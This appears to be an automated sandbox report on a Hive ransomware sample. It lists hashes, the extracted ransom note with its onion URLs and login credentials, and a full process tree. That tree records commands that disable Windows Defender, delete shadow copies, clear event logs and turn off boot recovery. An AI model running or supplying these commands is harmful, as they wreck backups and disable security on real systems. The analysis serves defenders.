Analysis

  • max time kernel
    103s
  • max time network
    19s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    05/01/2022, 13:01

General

  • Target

    setup.exe

  • Size

    3.9MB

  • MD5

    0e4d44dde522c07d09d9e3086cfae803

  • SHA1

    d8dc26e2094869a0da78ecb47494c931419302dc

  • SHA256

    33aceb3dc0681a56226d4cfce32eee7a431e66f5c746a4d6dc7506a72b317277

  • SHA512

    ac1f269b028217210a72fc5c2e0cb07461e2ff896f8b5ba65771787f99ec34b0f9951cf73d9d387086f79c348c343d147aebc2fd5b7e18da009bc2041e2eee06

Malware Config

Extracted

Path

C:\Program Files\7-Zip\n8pw_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note
Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: fTP4dtHQ51ZX Password: 7zC1gVatfxGNUwxnLe4e To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.cv2gj files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.
URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Hive

    A ransomware written in Golang first seen in June 2021.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Opens file in notepad (likely ransom note) 1 IoCs
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\setup.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1912
    • C:\Windows\system32\net.exe
      net.exe stop "NetMsmqActivator" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:596
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop "NetMsmqActivator" /y
        3⤵
          PID:756
      • C:\Windows\system32\net.exe
        net.exe stop "SamSs" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1240
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SamSs" /y
          3⤵
            PID:1492
        • C:\Windows\system32\net.exe
          net.exe stop "SDRSVC" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:112
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SDRSVC" /y
            3⤵
              PID:1852
          • C:\Windows\system32\net.exe
            net.exe stop "SstpSvc" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:688
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "SstpSvc" /y
              3⤵
                PID:900
            • C:\Windows\system32\net.exe
              net.exe stop "UI0Detect" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:1832
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "UI0Detect" /y
                3⤵
                  PID:436
              • C:\Windows\system32\net.exe
                net.exe stop "VSS" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:1812
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "VSS" /y
                  3⤵
                    PID:1216
                • C:\Windows\system32\net.exe
                  net.exe stop "wbengine" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1328
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "wbengine" /y
                    3⤵
                      PID:1904
                  • C:\Windows\system32\net.exe
                    net.exe stop "WebClient" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:1752
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "WebClient" /y
                      3⤵
                        PID:632
                    • C:\Windows\system32\sc.exe
                      sc.exe config "NetMsmqActivator" start= disabled
                      2⤵
                        PID:1228
                      • C:\Windows\system32\sc.exe
                        sc.exe config "SamSs" start= disabled
                        2⤵
                          PID:1004
                        • C:\Windows\system32\sc.exe
                          sc.exe config "SDRSVC" start= disabled
                          2⤵
                            PID:2040
                          • C:\Windows\system32\sc.exe
                            sc.exe config "SstpSvc" start= disabled
                            2⤵
                              PID:1500
                            • C:\Windows\system32\sc.exe
                              sc.exe config "UI0Detect" start= disabled
                              2⤵
                                PID:876
                              • C:\Windows\system32\sc.exe
                                sc.exe config "VSS" start= disabled
                                2⤵
                                  PID:868
                                • C:\Windows\system32\sc.exe
                                  sc.exe config "wbengine" start= disabled
                                  2⤵
                                    PID:1700
                                  • C:\Windows\system32\sc.exe
                                    sc.exe config "WebClient" start= disabled
                                    2⤵
                                      PID:908
                                    • C:\Windows\system32\reg.exe
                                      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                      2⤵
                                        PID:1636
                                      • C:\Windows\system32\reg.exe
                                        reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                                        2⤵
                                          PID:2020
                                        • C:\Windows\system32\reg.exe
                                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                                          2⤵
                                            PID:1704
                                          • C:\Windows\system32\reg.exe
                                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                                            2⤵
                                              PID:1800
                                            • C:\Windows\system32\reg.exe
                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                                              2⤵
                                                PID:1316
                                              • C:\Windows\system32\reg.exe
                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                                                2⤵
                                                  PID:1208
                                                • C:\Windows\system32\reg.exe
                                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                                                  2⤵
                                                    PID:1200
                                                  • C:\Windows\system32\reg.exe
                                                    reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                                                    2⤵
                                                      PID:1512
                                                    • C:\Windows\system32\reg.exe
                                                      reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                                                      2⤵
                                                        PID:632
                                                      • C:\Windows\system32\reg.exe
                                                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                                                        2⤵
                                                          PID:1628
                                                        • C:\Windows\system32\reg.exe
                                                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                                                          2⤵
                                                            PID:1864
                                                          • C:\Windows\system32\reg.exe
                                                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                                                            2⤵
                                                              PID:1076
                                                            • C:\Windows\system32\reg.exe
                                                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                                              2⤵
                                                                PID:560
                                                              • C:\Windows\system32\reg.exe
                                                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                                                2⤵
                                                                  PID:1724
                                                                • C:\Windows\system32\reg.exe
                                                                  reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                  2⤵
                                                                    PID:932
                                                                  • C:\Windows\system32\reg.exe
                                                                    reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                                                    2⤵
                                                                      PID:2004
                                                                    • C:\Windows\system32\schtasks.exe
                                                                      schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                                                      2⤵
                                                                        PID:1616
                                                                      • C:\Windows\system32\schtasks.exe
                                                                        schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                                                        2⤵
                                                                          PID:836
                                                                        • C:\Windows\system32\schtasks.exe
                                                                          schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                                                          2⤵
                                                                            PID:1120
                                                                          • C:\Windows\system32\schtasks.exe
                                                                            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                                                            2⤵
                                                                              PID:1556
                                                                            • C:\Windows\system32\schtasks.exe
                                                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                                              2⤵
                                                                                PID:1660
                                                                              • C:\Windows\system32\reg.exe
                                                                                reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                                                2⤵
                                                                                  PID:1348
                                                                                • C:\Windows\system32\reg.exe
                                                                                  reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                                                  2⤵
                                                                                    PID:1964
                                                                                  • C:\Windows\system32\reg.exe
                                                                                    reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                                                    2⤵
                                                                                      PID:1644
                                                                                    • C:\Windows\system32\reg.exe
                                                                                      reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                                                      2⤵
                                                                                        PID:1944
                                                                                      • C:\Windows\system32\reg.exe
                                                                                        reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                                                        2⤵
                                                                                          PID:1088
                                                                                        • C:\Windows\system32\reg.exe
                                                                                          reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                                                          2⤵
                                                                                            PID:1116
                                                                                          • C:\Windows\system32\reg.exe
                                                                                            reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                                                            2⤵
                                                                                              PID:1824
                                                                                            • C:\Windows\system32\reg.exe
                                                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                                                              2⤵
                                                                                                PID:2024
                                                                                              • C:\Windows\system32\reg.exe
                                                                                                reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                2⤵
                                                                                                  PID:1352
                                                                                                • C:\Windows\system32\reg.exe
                                                                                                  reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                  2⤵
                                                                                                    PID:1080
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                    2⤵
                                                                                                    • Modifies security service
                                                                                                    PID:1772
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                                                                    2⤵
                                                                                                      PID:880
                                                                                                    • C:\Windows\system32\vssadmin.exe
                                                                                                      vssadmin.exe delete shadows /all /quiet
                                                                                                      2⤵
                                                                                                      • Interacts with shadow copies
                                                                                                      PID:1060
                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                      wevtutil.exe cl system
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1156
                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                      wevtutil.exe cl security
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1612
                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                      wevtutil.exe cl application
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1684
                                                                                                    • C:\Windows\System32\Wbem\wmic.exe
                                                                                                      wmic.exe SHADOWCOPY /nointeractive
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1696
                                                                                                    • C:\Windows\System32\Wbem\wmic.exe
                                                                                                      wmic.exe shadowcopy delete
                                                                                                      2⤵
                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                      PID:1484
                                                                                                    • C:\Windows\system32\bcdedit.exe
                                                                                                      bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                                                                      2⤵
                                                                                                      • Modifies boot configuration data using bcdedit
                                                                                                      PID:2068
                                                                                                    • C:\Windows\system32\bcdedit.exe
                                                                                                      bcdedit.exe /set {default} recoveryenabled no
                                                                                                      2⤵
                                                                                                      • Modifies boot configuration data using bcdedit
                                                                                                      PID:2092
                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                      cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                      2⤵
                                                                                                        PID:2112
                                                                                                        • C:\Program Files\Windows Defender\MpCmdRun.exe
                                                                                                          "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                                                                          3⤵
                                                                                                          • Deletes Windows Defender Definitions
                                                                                                          PID:2132
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                        2⤵
                                                                                                          PID:2144
                                                                                                          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                            powershell Set-MpPreference -DisableIOAVProtection $true
                                                                                                            3⤵
                                                                                                            • Suspicious behavior: EnumeratesProcesses
                                                                                                            PID:2164
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                          2⤵
                                                                                                            PID:2228
                                                                                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                              powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                                                              3⤵
                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                              PID:2248
                                                                                                          • C:\Windows\system32\notepad.exe
                                                                                                            notepad.exe C:\n8pw_HOW_TO_DECRYPT.txt
                                                                                                            2⤵
                                                                                                            • Opens file in notepad (likely ransom note)
                                                                                                            PID:2580
                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                            cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\setup.exe"
                                                                                                            2⤵
                                                                                                              PID:2588
                                                                                                              • C:\Windows\system32\PING.EXE
                                                                                                                ping.exe -n 5 127.0.0.1
                                                                                                                3⤵
                                                                                                                • Runs ping.exe
                                                                                                                PID:2608

                                                                                                          Network

                                                                                                          MITRE ATT&CK Enterprise v6

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                                                                                                          Downloads

                                                                                                          • memory/1156-113-0x000007FEFB931000-0x000007FEFB933000-memory.dmp

                                                                                                            Filesize

                                                                                                            8KB

                                                                                                          • memory/2164-122-0x000007FEF2A00000-0x000007FEF355D000-memory.dmp

                                                                                                            Filesize

                                                                                                            11.4MB

                                                                                                          • memory/2164-125-0x0000000002814000-0x0000000002817000-memory.dmp

                                                                                                            Filesize

                                                                                                            12KB

                                                                                                          • memory/2164-124-0x0000000002812000-0x0000000002814000-memory.dmp

                                                                                                            Filesize

                                                                                                            8KB

                                                                                                          • memory/2164-129-0x000000000281B000-0x000000000283A000-memory.dmp

                                                                                                            Filesize

                                                                                                            124KB

                                                                                                          • memory/2164-123-0x0000000002810000-0x0000000002812000-memory.dmp

                                                                                                            Filesize

                                                                                                            8KB

                                                                                                          • memory/2248-128-0x000007FEF2060000-0x000007FEF2BBD000-memory.dmp

                                                                                                            Filesize

                                                                                                            11.4MB

                                                                                                          • memory/2248-130-0x0000000002460000-0x0000000002462000-memory.dmp

                                                                                                            Filesize

                                                                                                            8KB

                                                                                                          • memory/2248-131-0x0000000002462000-0x0000000002464000-memory.dmp

                                                                                                            Filesize

                                                                                                            8KB

                                                                                                          • memory/2248-132-0x0000000002464000-0x0000000002467000-memory.dmp

                                                                                                            Filesize

                                                                                                            12KB

                                                                                                          • memory/2248-133-0x000000001B790000-0x000000001BA8F000-memory.dmp

                                                                                                            Filesize

                                                                                                            3.0MB

                                                                                                          • memory/2248-134-0x000000000246B000-0x000000000248A000-memory.dmp

                                                                                                            Filesize

                                                                                                            124KB